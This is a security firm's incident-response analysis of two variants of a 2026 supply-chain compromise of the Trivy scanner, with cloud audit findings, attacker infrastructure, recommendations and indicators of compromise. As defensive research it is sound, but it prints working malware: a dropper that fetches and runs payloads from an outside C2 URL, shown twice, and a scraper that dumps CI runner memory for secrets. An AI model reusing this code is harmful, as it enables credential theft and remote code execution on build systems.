

Investigating Two Variants of the Trivy Supply-Chain Compromise

 kudelskisecurity.com/research/investigating-two-variants-of-the-trivy-supply-chain-compromise

March 27, 2026



Kudelski Security Team

[table of contents](#)

Share on



In March 2026, the TeamPCP threat actor compromised the open-source vulnerability scanner Trivy and distributed credential-stealing payloads through its official distribution channels. We investigated two separate clients affected by two distinct variants of this campaign: one through the compromised GitHub Action ([trivy-action](#)), the other through the compromised container image binary itself. Each variant operates differently, carries different capabilities, and requires a different investigative approach.

This post walks through both investigations: how we reverse-engineered each payload, what we found in the cloud audit trail following AWS secrets theft, and what the binary variant reveals about the attacker's ambitions beyond CI/CD credential theft. For the technical details of the supply-chain compromise mechanics, we refer the reader to [CrowdStrike](#), [Wiz](#), [Rami McCarthy](#), and [Microsoft](#).

Background: The TeamPCP Campaign

On March 19, 2026, threat actor TeamPCP compromised the [aquasecurity/trivy-action](#) GitHub Action and the Trivy container image (v0.69.4), distributing credential-harvesting payloads through Docker Hub, ECR, and GHCR. The campaign later expanded to npm packages (28 infected via a self-propagating worm), Checkmarx KICS GitHub Actions, OpenVSX extensions, and the LiteLLM PyPI package. This was a sustained, multi-ecosystem supply-chain operation spanning nearly a month.

Variant 1: The Trivy Action

The Payload

The [malicious commit](#) to [trivy-action](#) is still publicly accessible on GitHub. It injects malicious code into [entrypoint.sh](#) that execute before the legitimate Trivy scan. The payload operates in three stages:

Stage 1 reads `/proc/PID/environ` for the current process and any running `Runner.Worker`, `Runner.Listener`, `runsvc`, or `run.sh` processes. It captures environment variables matching `env` or `ssh` in the key name, and if a value points to a file on disk, reads that file too.

Stage 2 forks based on `RUNNER_ENVIRONMENT`. On GitHub-hosted runners, it scrapes the `Runner.Worker` process memory for JSON secrets structures. On self-hosted or GitLab runners, it executes a base64-encoded Python filesystem harvester signed "TeamPCP Cloud stealer" that reads SSH keys, cloud credentials, Kubernetes configs, Docker credentials, `.env` files, terraform state, shell history, database configs, TLS private keys, and cryptocurrency wallets, walking multiple directories up to 6 levels deep, matching over 100 file paths.

Stage 3 encrypts the collected data with AES-256-CBC (random session key wrapped with a hardcoded 4096-bit RSA public key), bundles it as `tcp.tar.gz`, and POSTs to `scan.aquasecurity[.]org`. If the POST fails and a GitHub PAT is available, it creates a public repository named `tcp-docs` and uploads the bundle as a release asset.

Reproducing the Stealer

When a credential stealer runs in your CI/CD pipeline, the natural reaction is to assume everything is compromised. That creates noise without clarity. Instead, we wanted to know *precisely* what the attacker received.

We replicated every check from the malicious payload (identical paths, glob patterns, recursive walk depths, and match functions) in an audit script, then ran it on a container configured to match the client's production GitLab runner environment.

The simulation confirmed the exact set of exfiltrated credentials: two distinct AWS key pairs with broad permissions, several CI/CD service tokens, and the full `printenv` output with all secrets in cleartext. Just as importantly, it confirmed what was *not* exposed: no SSH keys, no cloud credential files on disk, no Docker registry configs, and ephemeral containers with no persistent backdoor risk.

This gave us a definitive inventory to trace through CloudTrail. No guesswork, no FOMO-driven mass rotation.

CloudTrail: Four IPs, Four Toolkits

We performed an exhaustive CloudTrail search across all 29 AWS regions on both compromised keys from four distinct source IPs.

IP	Timing	User Agent	Activity
209.159.147.239	Mar 20, 02:05	TruffleHog	Key validation via TruffleHog secret scanner
170.62.100.245	Mar 20, 23:41	Boto3 on Kali Linux	Full cloud enumeration + S3 bucket scanning
154.47.29.12	Mar 21, 02:01	Botocore on Windows 11	Org recon (ListAccountAliases, DescribeOrganization)
103.75.11.59	Mar 23, 07:32	AWS SDK Go on macOS ARM	Re-check (GetCallerIdentity + ListBuckets)

The first IP to touch the stolen keys ran TruffleHog to validate that the credentials were live. The `TruffleHog` user agent appears directly in CloudTrail. The attacker then enumerated IAM users, roles, Lambda functions, DynamoDB tables, CloudFormation stacks, and scanned every S3 bucket's ACL and public access configuration. Services outside the compromised policy (EC2, RDS, SecretsManager) returned `AccessDenied`.

The S3 Blind Spot

The attacker scanned 24 S3 buckets, including 9 terraform state buckets. The organization's CloudTrail was configured for management events only. S3 data events (`GetObject`, `PutObject`) were not enabled. We could see the attacker map every bucket and check every ACL, but not whether they downloaded anything.

With `s3:*` permissions and no data event logging, we assessed that the contents of all 24 scanned buckets should be treated as compromised.

We ran TruffleHog against all 24 buckets and found 5 RSA private keys in cleartext in one bucket used for JWT signing. TruffleHog is pattern-based though: it catches known secret formats but misses database passwords and API keys stored as plain values in terraform state files.

IAM Persistence

With `iam:*` permissions, the attacker could have created backdoor users, roles, or access keys that would survive key rotation. We pulled full IAM state dumps from both accounts. No backdoor users, roles, or keys were created. No policies modified. No trust relationships changed. The attacker stuck to reconnaissance.

Variant 2: The Trivy Binary

Detection Through Proactive Hunting

The second infection was not detected by an alert. The client's EDR had full telemetry of the compromised binary's execution, including the characteristic `pgrep -f Runner.Worker` child processes, but did not flag the malicious ELF file at the time it ran.

We identified the infection through proactive hunting. When the TeamPCP campaign IOCs were published, we matched the compromised Trivy v0.69.4 binary hash

(`822dd269ec10459572dfaafe163dae693c344249a0161953f0d5cdd110bd2a0`) against our clients' container image inventories and found a hit. The client had been running `aquasec/trivy:latest` with Watchtower auto-update enabled. When TeamPCP pushed the compromised image to Docker Hub, Watchtower pulled and deployed it automatically.

Binary Analysis: A Self-Contained Stealer

```
import urllib.request
import os
import subprocess
import time

C_URL = "https://tdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0.io/"
TARGET = "/tmp/pglog"
STATE = "/tmp/.pg_state"

def g():
    try:
        req = urllib.request.Request(C_URL, headers={'User-Agent': 'Mozilla/5.0'})
        with urllib.request.urlopen(req, timeout=10) as r:
            link = r.read().decode('utf-8').strip()
            return link if link.startswith("http") else None
    except:
        return None

def e(l):
    try:
        urllib.request.urlretrieve(l, TARGET)
        os.chmod(TARGET, 0o755)
        subprocess.Popen([TARGET], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,
start_new_session=True)
        with open(STATE, "w") as f:
            f.write(l)
    except:
        pass

if __name__ == "__main__":
    time.sleep(300)
    while True:
        l = g()
        prev = ""
        if os.path.exists(STATE):
            try:
                with open(STATE, "r") as f:
                    prev = f.read().strip()
            except:
                pass

        if l and l != prev and "youtube.com" not in l:
            e(l)

        time.sleep(3000)
```

Unlike the Action variant (a shell script injected into [entrypoint.sh](#)), the binary variant compiles the malicious code directly into the Trivy Go binary. Aqua Security cleaned the repository and deleted the v0.69.4 tag. The malicious Go source files ([scand.go](#), [fork_unix.go](#)) are no longer accessible on GitHub. But the compiled binary preserves everything.

Using strings extraction on the 153MB stripped ELF binary, we confirmed the malicious infrastructure compiled into the binary: the C2 URL ([scan.aquasecurity\[.\]org](#)), the GitHub fallback exfil pattern ([tcpdocs](#) repository creation + release upload), the credential sweep file paths, and the persistence artifacts.

We also extracted two base64-encoded Python payloads embedded in the Go binary:

Payload 1: Memory scraper. Identical to the Action variant's GitHub-hosted runner path. Targets the `Runner.Worker` process via `/proc/PID/mem`, pattern-matching for `{"value":"<secret>","isSecret":true}`.

```
import sys
import os
import re

def get_pid():
    for pid in (p for p in os.listdir('/proc') if p.isdigit()):
        try:
            with open(os.path.join('/proc',pid,'cmdline'),'rb') as f:
                if b'Runner.Worker' in f.read():return pid
        except OSError:continue
    raise SystemExit(0)
pid=get_pid()
map_path=f"/proc/{pid}/maps"
mem_path=f"/proc/{pid}/mem"
with open(map_path,'r') as map_f,open(mem_path,'rb',0) as mem_f:
    for line in map_f:
        m=re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+) \([-r]\)',line)
        if not m or m.group(3)!='r':continue
        start=int(m.group(1),16);end=int(m.group(2),16)
        if start>sys.maxsize:continue
        mem_f.seek(start)
        try:
            chunk=mem_f.read(end-start);sys.stdout.buffer.write(chunk)
        except OSError:continue
```

Payload 2: The sysmon.py persistence dropper. This is what sets the binary variant apart:

```

import urllib.request
import os
import subprocess
import time

C_URL = "https://tdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0.io/"
TARGET = "/tmp/pglog"
STATE = "/tmp/.pg_state"

def g():
    try:
        req = urllib.request.Request(C_URL, headers={'User-Agent': 'Mozilla/5.0'})
        with urllib.request.urlopen(req, timeout=10) as r:
            link = r.read().decode('utf-8').strip()
            return link if link.startswith("http") else None
    except:
        return None

def e(l):
    try:
        urllib.request.urlretrieve(l, TARGET)
        os.chmod(TARGET, 0o755)
        subprocess.Popen([TARGET], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,
start_new_session=True)
        with open(STATE, "w") as f:
            f.write(l)
    except:
        pass

if __name__ == "__main__":
    time.sleep(300)
    while True:
        l = g()
        prev = ""
        if os.path.exists(STATE):
            try:
                with open(STATE, "r") as f:
                    prev = f.read().strip()
            except:
                pass

        if l and l != prev and "youtube.com" not in l:
            e(l)

        time.sleep(3000)

```

The binary checks the `GITHUB_ACTIONS` environment variable. If absent (meaning it's running on a developer machine or standalone server, not in CI), it writes this Python script to `~/.config/systemd/user/sysmon.py` and creates a systemd unit for persistence. The dropper sleeps 5 minutes, then polls the ICP blockchain-hosted C2 for a second-stage payload URL, downloads it to `/tmp/pglog`, and executes it.

This is a significant escalation over the Action variant. The Action is fire-and-forget: it runs once during a CI pipeline and exfiltrates what it finds. The binary adds a **persistent backdoor** that survives reboots and maintains ongoing access through a takedown-resistant C2 hosted on the Internet Computer Protocol.

Comparing the Two Variants

	Trivy Action	Trivy Binary
Vector	GitHub Action entryptoint.sh	Container image ELF binary
Payload language	Bash + embedded Python	Go + embedded Python
Persistence	None (single execution)	sysmon.py systemd service + ICP blockchain C2
Developer machine targeting	No	Yes (GITHUB_ACTIONS check)
Source code available	Yes (commit e0198fd)	No (cleaned by Aqua, tag deleted)
Self-contained	No (needs Python, curl, openssl on runner)	Yes (Go binary, Python only for persistence)
Second-stage capability	None	Downloads and executes arbitrary payload from C2

Attacker Infrastructure

Three of the four IPs are VPN exit nodes on Datacamp Limited (AS212238, Sweden and Croatia) and Host Universal (AS136557, New Zealand). Disposable anonymization infrastructure with no prior reputation in any threat intelligence feed.

The outlier is **209.159.147.239**, an Interserver VPS in New York, the only one of the four with open services. It runs:

- **Port 22**: OpenSSH 9.6p1 (Ubuntu)
- **Ports 888,443**: nginx+simplehttp, gated behind authentication (HTTP 401 Unauthorized), serving a TLS certificate issued by Let's Encrypt for the domain **nsa[.]cat**
- **Ports 9000, 9001, 2001**: MinIO, an S3-compatible object storage server

The TLS certificate on port 443 revealed the domain. The certificate's Common Name is **nsa[.]cat**, linking the IP to the domain. Pivoting on the domain:

- Registered **January 28, 2026** via Spaceship.com
- Registrant country: **China**
- 3 of 94 VirusTotal engines flag it as malicious
- Currently fronted by Cloudflare, but **previously resolved directly to 209.159.147.239**
- 71 certificates issued in Certificate Transparency logs, frequent cert rotation
- nginx returns 401 Unauthorized, password-protected, not a public-facing site

This is the attacker's operational server. They used it to run TruffleHog against stolen AWS keys (confirmed by the **TruffleHog** user agent in CloudTrail pointing to this IP). It hosts MinIO, a natural place to stage stolen credential bundles before processing. The 401 on nginx indicates a gated panel or API for managing operations. The other three IPs are throwaway VPN exits; this one is infrastructure the attacker owns and operates.

Open Directory on Port 888

During continued monitoring of this VPS, we found a Python HTTP server running on port 888 serving an open directory with two files:

- **bomgar.txt** (900K lines): a list of domains containing substrings like **access**, **remote**, **rdweb**, **gateway**, and **secure-access**. "Bomgar" is the former name of BeyondTrust Remote Support. This is a target list: domains with exposed BeyondTrust remote access endpoints. This is notable given the recent CVE-2026-1731, a pre-authentication remote code execution vulnerability in BeyondTrust Remote Support.
- **raw_domains.txt** (6.6 million lines): a massive domain list, likely scraped from Certificate Transparency logs or passive DNS datasets, used as input for the Bomgar scan.

This server looks like not just a credential staging point. The attacker is also using it to build target lists for exploiting remote access infrastructure.

Recommendations

- **Apply least privilege to CI/CD service credentials.** The compromised IAM user in one of our cases had **iam:***, **s3:***, **lambda:***, and 6 other full-service permissions on **Resource: ***. The attacker enumerated IAM users, Lambda functions, DynamoDB tables, CloudFormation stacks, and scanned every S3 bucket across production and non-production. A scoped policy, only the specific permissions the pipeline actually needs on the specific resources it touches, would have reduced the blast radius from full cloud enumeration to a single service.
- **Separate credentials per environment.** One of our clients shared the same AWS key pair across sandbox and integration environments. One compromise exposed both. Production and non-production credentials should never coexist in the same pipeline.
- **Use short-lived credentials (OIDC federation) instead of static IAM keys.** The compromised static keys had no expiry. An attacker can use them indefinitely until someone notices. OIDC tokens from GitLab or GitHub expire in minutes.
- **Pin container images by digest, not tag.** **image: aquasec/trivy@sha256:...** instead of **image: aquasec/trivy:latest**. Tags can be force-pushed to point to a different image; digests cannot. Combined with Watchtower or similar auto-update tools, a **:latest** tag becomes an auto-deploy mechanism for supply-chain attacks.
- **Disable automatic container updates in production.** Watchtower with **latest** tags auto-deployed the compromised image without human review. Auto-update is convenient in development; in production, it's an uncontrolled deployment pipeline.
- **Consider Enabling S3 data event logging in CloudTrail.** Without it, you cannot determine if data was read or written at the object level.

Indicators of Compromise

Indicator	Type	Context
170.62.100.245	IP	Main operator (Kali Linux, Boto3). Cloud enumeration + S3 scanning.

Indicator	Type	Context
209.159.147.239	IP	TruffleHog key validation. Interserver VPS, NYC. Hosts nsa[.]cat + MinIO + open directory.
154.47.29.12	IP	Org recon (Windows 11, Botocore). Datacamp VPN, Croatia.
103.75.11.59	IP	Re-check (macOS ARM, AWS SDK Go). Host Universal VPN, New Zealand.
scan.aquasecurity[.]org	Domain	Primary exfiltration endpoint (typosquat of aquasecurity).
tdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0[.]io	Domain	ICP blockchain C2 for persistence dropper.
nsa[.]cat	TLS Subject DN	Attacker VPS. Registered 2026-01-28, China. nginx + MinIO.
18a24f83e807479438dcab7a1804c51a00dafc1d526698a66e0640d1e5dd671a	SHA256	Malicious entryptpoint.sh (trivy-action).
822dd269ec10459572dfaaefe163dae693c344249a0161953f0d5cdd110bd2a0	SHA256	Malicious Trivy v0.69.4 binary (Linux-64bit).
6328a34b26a63423b555a61f89a6a0525a534e9c88584c815d937910f1ddd538	SHA256	Malicious Trivy v0.69.4 binary (macOS-ARM64).
0880819ef821cff918960a39c1c1aada55a5593c61c608ea9215da858a86e349	SHA256	Malicious Trivy v0.69.4 binary (Windows-64bit).

[Kudelski Security Team](#)

[Apifox Supply Chain Attack](#)



[March 31, 2026](#)

[Kudelski Security Team](#)

[Axios Supply Chain Attack](#)



[Security Advisory:](#)

[March 30, 2026](#)

F5 BigIP APM: Remote Code Execution

CVE-2025-53521